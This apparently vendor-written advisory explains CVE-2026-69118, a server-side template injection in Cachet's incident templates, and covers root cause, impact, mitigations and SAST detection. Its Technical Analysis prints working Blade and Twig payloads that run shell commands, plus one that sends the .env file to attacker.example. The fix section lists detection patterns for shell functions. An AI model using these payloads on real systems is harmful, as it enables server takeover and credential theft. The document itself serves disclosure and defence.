SSTI RCE in Cachet Incident Templates
CVE-2026-69118: Authenticated SSTI in Cachet ≤2.4.1 allows arbitrary PHP execution via malicious incident templates, enabling full server compromise.
Overview
Cachet, the widely deployed open-source status page application, contains a server-side template injection (SSTI) vulnerability in its incident template rendering subsystem, tracked as CVE-2026-69118. The flaw affects all releases through version 2.4.1 and carries a CVSS score of 8.8 (High), reflecting the high-confidence path to remote code execution it provides to any authenticated user — including those with operator-level access who can manage incident templates.
The vulnerability stems from Cachet passing user-controlled template content directly into the Laravel Blade rendering engine (or a Twig renderer, depending on deployment configuration) without sandboxing or expression-level sanitisation. Because both Blade and Twig expose constructs capable of invoking arbitrary PHP functions — @php directives in Blade, and Twig’s map, filter, and raw-mode filters in certain configurations — an attacker who can create or edit an incident template gains a straightforward path to executing operating system commands as the web server process.
Security researchers identified the issue while auditing the incident management workflow, observing that the application serialises raw template strings into the database and later evaluates them through the full engine pipeline at incident-creation time. Any organisation running a self-hosted Cachet instance where multiple staff members hold operator credentials — a common configuration for SaaS companies using Cachet for customer-facing status pages — is directly exposed.
Technical Analysis
The root cause is the absence of a rendering sandbox around user-supplied template content. Cachet stores incident templates as freeform strings in the database and, at render time, passes them to the engine via a call equivalent to:
// Vulnerable pattern — packages/cachet/src/Renderers/IncidentTemplateRenderer.php (illustrative)
public function render(IncidentTemplate $template, array $vars): string
{
// $template->template is attacker-controlled database content
$compiled = Blade::compileString($template->template);
// eval() of compiled output with no sandboxing
ob_start();
extract($vars, EXTR_SKIP);
eval('?>' . $compiled);
return ob_get_clean();
}
Blade::compileString() faithfully compiles every recognised directive, including @php ... @endphp, which emits a raw <?php ... ?> block. Because the compiled output is then passed directly to eval(), any PHP expression the attacker places inside @php is executed with the full privileges of the web server process.
A minimal proof-of-concept payload embedded in an incident template body demonstrates the issue:
{{-- Malicious incident template --}}
## Service Disruption
@php
$output = shell_exec($_GET['cmd'] ?? 'id');
echo htmlspecialchars($output);
@endphp
We are investigating the issue.
When an operator navigates to Incidents → Create and selects this template, the rendered preview or the saved incident post triggers execution. A more targeted, non-interactive payload can exfiltrate environment variables (including APP_KEY, database credentials, and third-party API tokens that Cachet stores in .env) over an out-of-band HTTP channel:
@php
$env = file_get_contents(base_path('.env'));
file_get_contents('https://attacker.example/collect?d=' . base64_encode($env));
@endphp
In Twig-backed deployments the mechanism differs syntactically but not conceptually. When Twig is configured with Twig\Environment in non-sandboxed mode, the map filter introduced in Twig 2.10 can invoke callables:
{# Twig variant #}
{{ ['id'] | map('shell_exec') | join }}
Both variants confirm that the vulnerability class is engine-agnostic; the true fault is the absence of input validation before template compilation, and the absence of a restricted sandbox policy after it.
Impact
An authenticated attacker exploiting CVE-2026-69118 achieves remote code execution as the web server process (typically www-data on Debian/Ubuntu or nginx/apache on RHEL-family systems). Concrete post-exploitation outcomes include:
- Credential theft: The
.envfile invariably containsAPP_KEY,DB_PASSWORD, mail relay credentials, and any third-party API keys (PagerDuty, Slack, SMS gateways) configured by the operator. - Database takeover: With database credentials in hand, an attacker can dump or corrupt the Cachet PostgreSQL/MySQL database, which contains subscriber email addresses, historical incident data, and component configurations — a significant data breach for customer-facing deployments.
- Lateral movement: From a shell on the status-page host, attackers can pivot toward internal monitoring infrastructure, CI/CD pipelines that deploy Cachet, or other services on the same network segment.
- Supply-chain-style trust abuse: Because Cachet is the mechanism by which organisations communicate outages to users, an attacker who controls it can post fraudulent incident updates or suppress legitimate ones, eroding user trust or concealing an active breach.
The CVSS 8.8 rating reflects the low attack complexity (no race conditions or preconditions beyond valid credentials) and high impact across all three security properties: confidentiality, integrity, and availability.
How to Fix It
Upgrade to a Cachet release that addresses this vulnerability as the primary remediation. Monitor the official Cachet repository for a patched release. Until a patch is available, apply the mitigations below.
Short-term mitigations:
- Restrict template creation permissions to the smallest possible set of trusted administrators. Review your Cachet user roster and revoke operator privileges from accounts that do not require them.
- Disable template rendering in previews at the web server layer (e.g., block
POST /dashboard/templatesfor all non-admin roles via a WAF rule) to reduce the attack surface while a code fix is developed. - Audit existing templates for unexpected
@php,shell_exec,system,passthru,eval, or Twigmap/filterpatterns:
-- Audit query for PostgreSQL deployments
SELECT id, name, template, updated_at
FROM incident_templates
WHERE template ~* '@php|shell_exec|system\(|passthru|`|map\s*\('
ORDER BY updated_at DESC;
Code-level fix (for maintainers or self-hosted patchers):
Replace the raw eval pipeline with a sandboxed renderer that strips or rejects unsafe directives before compilation:
// Patched approach — allowlist-only directive rendering
public function render(IncidentTemplate $template, array $vars): string
{
$raw = $template->template;
// Reject any template containing PHP execution directives
$dangerousPatterns = ['/@php/i', '/\{!!/i', '/shell_exec/i', '/system\s*\(/i', '/passthru/i'];
foreach ($dangerousPatterns as $pattern) {
if (preg_match($pattern, $raw)) {
throw new \InvalidArgumentException('Template contains disallowed directives.');
}
}
// Use a Markdown-only renderer for incident templates
// e.g., league/commonmark with no PHP evaluation
$converter = new \League\CommonMark\CommonMarkConverter();
return $converter->convert($this->interpolateVars($raw, $vars))->getContent();
}
private function interpolateVars(string $template, array $vars): string
{
// Simple variable substitution — no eval, no engine
foreach ($vars as $key => $value) {
$template = str_replace('{{ ' . $key . ' }}', htmlspecialchars((string)$value, ENT_QUOTES), $template);
}
return $template;
}
The definitive fix is to never pass user-controlled strings into a full template engine. Incident templates should be rendered through a restrictive Markdown processor with variable interpolation handled by a simple find-and-replace mechanism, keeping the full Blade/Twig pipeline reserved for trusted application views only.
Our Take
SSTI vulnerabilities have appeared in PHP applications for over a decade, yet they continue to surface in production software because the ergonomics of modern template engines actively encourage developers to render dynamic content by passing strings into the engine at runtime. Blade’s compileString() and Twig’s render() are powerful, convenient, and — when fed untrusted input — catastrophic.
The systemic issue is that these engines were designed for trusted developer-authored templates, not for user-generated content. The API surface does not inherently distinguish between the two cases, so developers who reach for compileString() to implement a “custom template” feature are unknowingly handing users a code execution primitive.
For enterprises operating internal developer portals, status pages, or any application where non-developer staff can author template-like content, this is a critical architectural control to evaluate: user content must never traverse a full template engine pipeline. Purpose-built, sandboxed templating DSLs or Markdown renderers are the correct tool for that job.
Detection with SAST
SSTI vulnerabilities in PHP map primarily to CWE-94 (Improper Control of Generation of Code / Code Injection) and CWE-1336 (Improper Neutralisation of Special Elements Used in a Template Engine).
Offensive360’s SAST engine flags this vulnerability class by tracing taint from user-controlled sources — HTTP request parameters, database-backed model fields marked as user-editable, and file reads from user-uploaded content — through template compilation sinks. Specific patterns we instrument include:
- Calls to
Blade::compileString($tainted)orview()->compileString($tainted)where the argument is not a compile-time string literal. eval('?>' . $compiled)patterns where$compiledderives from a taintedcompileStringcall.Twig\Environment->render($tainted)or->createTemplate($tainted)where the environment lacks a\Twig\Sandbox\SecurityPolicywrapper.file_get_contents/include/requireof paths constructed from request-derived values feeding into engine loaders.
The detection rule category in our platform is SSTI / Dynamic Template Evaluation, and findings at this sink type are automatically escalated to Critical in CI pipeline results, blocking merge until reviewed. DAST complements this by sending engine-specific probe payloads ({{7*7}}, @php echo 7*7; @endphp, etc.) to every form field and API parameter, confirming exploitability where SAST identifies a potential path.
References
Detect this vulnerability class in your codebase
Offensive360 SAST scans your source code for CVE-2026-69118-class vulnerabilities and thousands of other patterns — across 60+ languages.